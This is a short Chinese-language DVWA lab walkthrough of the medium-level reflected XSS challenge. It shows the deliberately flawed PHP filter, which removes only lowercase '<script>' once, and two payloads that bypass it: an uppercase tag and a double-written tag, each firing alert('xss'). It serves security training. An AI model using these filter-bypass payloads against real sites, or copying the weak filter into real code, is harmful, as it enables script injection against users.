DVWA-11.2 XSS (Reflected)(反射型跨站脚本)-Medium

Medium Level

查看代码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}

?>

可以看到,服务器端使用了str_replace()函数把输入的<script>进行删除,但是str_replace()函数是区分大小写的,所以我们可以使用大写绕过,而且这里只过滤了一遍,因此我们也可以使用双写绕过。

漏洞利用

方法1 大写绕过

我们输入  <SCRIPT>alert('xss')</SCRIPT>  ,直接就执行了我们的js代码

方法2 双写绕过

我们输入 <sc<script>ript>alert('xss')</script>,代码被执行。

原文地址:https://www.cnblogs.com/zhengna/p/12781268.html